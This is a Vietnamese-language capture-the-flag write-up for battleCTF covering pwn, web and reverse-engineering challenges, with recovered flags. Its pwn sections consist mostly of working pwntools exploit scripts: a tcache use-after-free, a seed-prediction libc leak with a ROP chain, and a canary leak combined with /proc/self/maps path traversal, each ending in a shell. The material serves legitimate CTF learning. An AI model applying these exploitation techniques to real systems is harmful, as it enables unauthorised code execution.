- Tuy nhiên để ow được chunk speak, ta tận dụng cơ chế tcache là mỗi size lưu được 7 chunk.
- Lỗ hổng như sau:
- Ta sẽ tạo 4 minon (8 chunk) và free 4 minon, thứ tự trong tcache (số đen)

- Khi free xong chunk 8 sẽ được lưu trong fastbin do tcache đầy
- Khi malloc 1 minon mới, chương trình sẽ lấy trong tcache trước và lấy chunk 7 (lưu speak) và chunk 6 (lưu ten)
> Vậy là ta đã có thể UAF, ow chunk 6 là system
#### Khai thác
- Dựa trên lí thuyết trên ta tạo 5 minon như sau
```python
add(b'a'*0x18)
add(b'b'*0x18)
add(b'c'*0x18)
add(b'd'*0x18)
add(b'/bin/sh\x00')
```
- Ta free 4 minon đầu, và tạo minon mới
```python
remove(0)
remove(1)
remove(2)
remove(3)
add(flat(system_plt, 0)+b'\xc0')
```
- Minon mới sẽ ghi đè như hình ở phần ý tưởng, tại sao lại có `b'\xc0`. Vì khi `report_name`, nó sẽ call rdx là `system`, tuy nhiên rdi cần là một địa chỉ chứa chuỗi `/bin/sh` nhưng trong chương trình không có sẵn, vì vậy ở phần tạo 4 minon đầu, ta sẽ tạo minon 4 tên `/bin/sh` và khi UAF, ta sẽ ow địa chỉ heap thành địa chỉ heap chứa `/bin/sh` của minon 4
- script:
```python
from pwn import *
context.binary = elf = ELF('./minon')
# p = remote('pwn.battlectf.online',1007)
p = process("./minon")
system_plt = elf.plt['system']
gdb.attach(p, gdbscript = '''
b*0x0000000000401450
b*0x000000000040167a
c
''')
input()
def add(name):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'>', b'1')
p.sendafter(b'>', name)
p.recvuntil(b'> [DEBUG]')
def remove(idx):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'>', str(idx).encode('utf-8'))
p.recvuntil(b'> [DEBUG]')
def report(idx):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'>', str(idx).encode('utf-8'))
add(b'a'*0x18)
add(b'b'*0x18)
add(b'c'*0x18)
add(b'd'*0x18)
add(b'/bin/sh\x00')
remove(0)
remove(1)
remove(2)
remove(3)
add(flat(system_plt, 0)+b'\xc0')
report(2)
p.interactive()
```
---
### cppstring
- check file + checksec

- source:
```c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void getsline(char **p, size_t *n)
{
char c = '\0';
unsigned int count = 0, size = 0;
char *backup;
if (*n==0 && *p==NULL)
{
*p = malloc(0);
while (1)
{
read(0, &c, 1);
if (count >= 0x20000)
exit(0);
if (count != 0 && count % 0x10 == 0)
{
backup = malloc(count + 0x10);
memcpy(backup, *p, count);
*p = backup;
}
backup = *p;
backup[count] = c;
count++;
if (c=='\n')
{
*n = count;
break;
}
}
}
else
read(0, p, *n);
}
void cin(char **p)
{
size_t n = 0;
char *buffer = NULL;
// memset(*p, 0, 0x400);
getsline(&buffer, &n);
if (strlen(buffer) > 0x408)
*p = buffer;
else
memcpy(*p, buffer, n);
}
void cout(char *p)
{
unsigned int count = 0;
while (1)
{
if (p[count]=='\0')
break;
write(1, &p[count], 1);
count++;
}
}
/*
Challenge name: C++ string
*/
unsigned long int gen_seed()
{
return ((time(0)*2003/1/9) >> 2) * (rand()*0x09012021/5);
}
void play_game()
{
unsigned long int randnum, guess;
char *p;
char buffer[0x408];
randnum = rand();
cout("------ GUESSING GAME ------\n");
cout("Rule: You will guess a number from 0 to 4294967295 and if you win, I will give you a gift!\n");
cout("Your number: ");
p = buffer;
cin(&p);
cout("You guess: ");
cout(p);
guess = atoi(p);
sleep((rand() % 5) + 1);
if (randnum == guess)
{
cout("Congratulation! Name for the winner: ");
p = buffer;
cin(&p);
cout("You can get the gift from admin, ");
cout(p);
}
else
{
cout("Nah loser!\n");
exit(0);
}
}
int main()
{
init();
srand(gen_seed());
srand(gen_seed());
srand(gen_seed());
play_game();
}
```
- thông qua source ta phải leak được time để có thể đoán được số
- nhưng vấn đề là trong hàm **gen_seed** ấy giá trị trả về được định dạng giới hạn theo code C, khi bê qua python sẽ định dạng lại theo code Python
```c
unsigned long int gen_seed()
{
return ((time(0)*2003/1/9) >> 2) * (rand()*0x09012021/5);
}
```
- vì vậy trong script của mình, phải ép kiểu định dạng trả về như code C
```python
def gen_seed():
pkb = (((elf.time()) * 2003 // 9) >> 2) * elf.rand() * 30213741
return c_ulong(pkb).value
```
- khi mình đã pass qua bước check đầu tiên, chương trình sẽ cho ta nhập tên, rồi in ra tên mình kèm 1 số byte lạ
- check trong gdb là do hàm **cout** nó in tên mình kèm những byte liền kề đến khi gặp NULL byte
- vì có thể leak đc địa chỉ nào đó nhờ **cout**, cộng với hàm **atoi** chỉ lấy số trong chuỗi payload ---> số send vào payload để qua bước check ta có thể padding 1 lượng byte phù hợp để leak libc
- phải leak libc vì bài này k có hàm ``win`` hay gì cả, hướng là get_shell
- sau khi có dc libc_leak, tính pop_rdi, vân vân và mây mây là có shell

- script:
```python
#!/usr/bin/python3
from pwn import *
import random
import time
from ctypes import *
context.binary = exe = ELF('./cppstring_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
elf = cdll.LoadLibrary("libc.so.6")
#p = process(exe.path)
p = remote('pwn.battlectf.online',1008)
def gen_seed():
pkb = (((elf.time()) * 2003 // 9) >> 2) * elf.rand() * 30213741
return c_ulong(pkb).value
elf.srand(gen_seed())
elf.srand(gen_seed())
elf.srand(gen_seed())
a = elf.rand()
log.info("guess: " + str(a))
payload = str(a).encode()
payload = payload.ljust(0x3a7, b'P')
p.sendlineafter(b'number: ',payload)
p.recvuntil(b'P'*0x200 + b'\n')
libc_leak = u64(p.recv(6) + b'\0\0')
log.info("libc leak: " + hex(libc_leak))
libc.address = libc_leak - 0x8e475
log.info("libc base: " + hex(libc.address))
# gdb.attach(p,gdbscript='''
# b*play_game+80
# b*play_game+85
# b*play_game+92
# b*play_game+97
# b*play_game+101
# b*play_game+104
# b*play_game+220
# b*play_game+244
# c
# ''')
# input()
pop_rdi = libc.address + 0x000000000002a3e5
ret = libc.address + 0x0000000000029cd6
payload = b'\0'*0x408 + flat(
libc.address,
0, 0, 0,
ret,
pop_rdi, next(libc.search(b'/bin/sh')),
libc.sym['system']
)
p.sendlineafter(b'winner: ', payload)
p.interactive()
#battleCTF{wh4t_4_w31rd_str1ng_1n_cpp_e76382a83b5bd85d68ab810b7618eaa2}
```
>Flag: battleCTF{wh4t_4_w31rd_str1ng_1n_cpp_e76382a83b5bd85d68ab810b7618eaa2}
---
### Readfile
- check file + checksec

- check ida
```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+17h] [rbp-89h]
__WAIT_STATUS stat_loc; // [rsp+18h] [rbp-88h] BYREF
char *filename; // [rsp+20h] [rbp-80h]
void *v7; // [rsp+28h] [rbp-78h]
__int64 v8; // [rsp+30h] [rbp-70h]
FILE *stream; // [rsp+38h] [rbp-68h]
char v10[48]; // [rsp+40h] [rbp-60h] BYREF
char s[40]; // [rsp+70h] [rbp-30h] BYREF
unsigned __int64 v12; // [rsp+98h] [rbp-8h]
__int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF
v12 = __readfsqword(0x28u);
LODWORD(stat_loc.__uptr) = 0;
filename = (char *)malloc(0x40uLL);
v7 = &savedregs;
init(64LL);
memset(s, 0, sizeof(s));
memset(&savedregs, 0, 0x400uLL);
printf("Your name: ");
read_str(s, 64LL); // BOF
while ( 1 )
{
memset(v10, 0, sizeof(v10));
memset(filename, 0, 0x10uLL);
puts("1. Read file");
puts("2. Exit");
printf("> ");
v8 = read_int("> ");
if ( v8 != 1 )
{
printf("Your feedback: ");
read_str(s, 64LL);
puts("Thanks!");
return 0;
}
if ( !fork() )
break;
do
HIDWORD(stat_loc.__iptr) = wait((__WAIT_STATUS)&stat_loc);
while ( SHIDWORD(stat_loc.__iptr) > 0 );
}
printf("Enter filename: ");
read_str(v10, 48LL);
printf("Reading %s...\n", v10);
snprintf(filename, 0x40uLL, "/home/user/data/%s.txt", v10);
stream = fopen(filename, "r");
if ( stream )
{
puts("------ DATA ------");
while ( 1 )
{
v4 = fgetc(stream);
if ( v4 == -1 )
break;
putchar(v4);
}
putchar(10);
puts("------------------");
}
else
{
puts("****** FILE NOT FOUND ******");
}
return 0;
}
```

> hàm read_str

> hàm read_int
- vì canary bật nên ta cần leak canary
- option1 để leak
- option2 để return
- ở lần nhập đầu

>offset = 0x28 + 1 byte in lố
- leak dc canary, ta sẽ lợi dụng khả năng đọc file, và lấy libc từ file '/proc/self/maps'

- cuối cùng thì one_gadget lấy shell

- script:
```python
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('readfile', checksec=False)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
# p = process(exe.path)
p = remote('pwn.battlectf.online', 1000)
############################
### Stage 1: Leak canary ###
############################
p.sendafter(b'name: ', b'A'*0x29)
p.sendlineafter(b'> ', b'1')
p.sendafter(b'name: ', b'A'*0x30)
p.recvuntil(b'A'*0x58)
canary = (u64(p.recv(8)) >> 8) << 8
log.info("Canary: " + hex(canary))
##############################################
### Stage 2: Leak libc via /proc/self/maps ###
##############################################
p.sendlineafter(b'> ', b'1')
p.sendafter(b'name: ', b'../../../' + b'./'*12 + b'proc/self/maps')
output = p.recvuntil(b'libc.so.6').split(b'\n')[-1]
libc.address = int(output[:output.index(b'-')], 16)
log.info("Libc base: " + hex(libc.address))
##########################################
### Stage 3: Get shell with one_gadget ###
##########################################
gadget = libc.address + 0x50a37
p.sendlineafter(b'> ', b'2')
payload = flat(
b'A'*0x28,
canary,
0,
gadget
)
p.sendlineafter(b'feedback: ', payload)
p.interactive()
#battleCTF{0h_h0_spr1ntf_c4us3_0v3rfl0w_48a53c988f88d95fa1e7d02198b04fd6}
```
> Flag: battleCTF{0h_h0_spr1ntf_c4us3_0v3rfl0w_48a53c988f88d95fa1e7d02198b04fd6}
---
## WEB
### Civilization
- Ta có form của challenge. Sau đó ta check '/?source', ta được 1 đoạn code php
```php
<?php
require("./flag.php");
if(isset($_GET['source'])){
highlight_file(__FILE__);
}
if(isset($_GET['ami'])){
$input = $_GET['ami'];
$cigar = 'africacradlecivilization';
if (preg_replace("/$cigar/",'',$input) === $cigar) {
africa();
}
}
include("home.html");
?>
```
- Đọc script thì điều ta cần làm là cần bypass hàm preg_replace(). Sau đó mình có research vè hàm này ở đây
https://www.php.net/manual/en/function.preg-replace.php
- Vậy thì ta chỉ cần tham số ami vào là xong. Quan trọng là chèn như thế nào.Phân tích đoạn code:
- `ami` là một GET parameter. Chúng ta có thể chèn giá trị cho nó, ví dụ như: http://chall.battlectf.online:8080/?ami=abcdef
``$cigar=africacradlecivilization``
- `$input` Đầu vào được cung cấp của ta thông qua tham số ami được lưu trữ trong biến này.
- Bây giờ thì mình thử mô phỏng lại hàm preg_replace().

- Mình cho input là `africacradlecivilization`, `africacradlecivilization` sẽ được so sánh với `africacradlecivilization` và được thay thế bởi `''`.
- Mình có thử vài trường hợp.
```php
1 - $str : africa
$php main.php
Final String is : africa
No Success
2 - $str : africacradle
$php main.php
Final String is : africacradle
No Success
3 - $str : africacradleciviliztion
$php main.php
Final String is :
No Success
```
- Bây giờ thì ta đã hiểu cách hoạt động của hàm preg_replace().Nó chỉ là kiểm tra xem có `africacradleciviliztion` trong chuỗi hay không, nếu nó có mặt thì nó đang thay thế `africacradleciviliztion` bằng ''.
- Vậy thì input sẽ là `africaafricacradlecivilizationcradlecivilization`
- URL:
```php
http://chall.battlectf.online:8080/?ami=africaafricacradlecivilizationcradlecivilization
```
> Flag:`battleCTF{pr3gr4plAcebyp455_0x0x0x0x}`
---
### Hebiosso injection
---
## REV
### SEYI
- Mở IDA lên, ta thấy ở mục getshell có flag lun

>Flag: battleCTF{The_path_to_light}
---
### Welcome
- Đầu tiên mở file bằng IDA lên

- Đọc code ASM ta thấy chuỗi hex ``522D1B20F6h`` cộng với chuỗi ``1EE2EEEEh`` rồi XOR với ``0AA84AAAh``
```
#include <iostream>
#include <cmath>
using namespace std;
int main() {
long long a=0x522D1B20F6;
long long b=0x1EE2EEEE;
long long c=a+b;
long long d=c^0x0AA84AAA;
cout << d;
return 0;
}
```

``353283491150`` được chuỗi này bỏ vào web``kt.gy`` sẽ ra ``RAVEN``
> FLAG:``battleCTF{RAVEN}
---
### babyrev
- Mở IDA lên, và Shift F12, ta thấy được 1 đoạn mã lạ, ta vất cho crypto thì nhận ra đây là Caesar

- Vất vào [Caesar trên Dcode](https://www.dcode.fr/caesar-cipher) thui

>Flag: battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}
---
### CHECKER
- Đầu tiên mở file bằng IDA

- Mở ``String`` lên xem có chuỗi nào khum

- ``gfyyqjHYK{Flg4_d0z_i3d_xr0p3_1lg0?}`` thấy chuỗi này là mật mã Caesar, bỏ vào ``kt.gy``

> FLAG: battleCTF{Agb4_y0u_d3y_sm0k3_1gb0?}
---
### Mazui
- Đầu tiên mở file bằng IDA, ko thấy gì hết nên ta debug

- Đọc Code ASM thì ta thấy XOR nên ta code thui
```python
from pwn import *
from Crypto.Util.number import *
x = 0x41EF12
lst = [0x62209B66,0x6C24AC46,0x463ABC23,0x6D318377,0x5F0C8064,0x492FBC7A,0x652D836F]
panh = []
for i in lst:
panh.append(x^i)
flag = b''
for i in panh:
flag = flag + long_to_bytes(i)
print(flag)
```
> Flag: battleCTF{S1mple_MovInShell}
---
## MISC
### Discord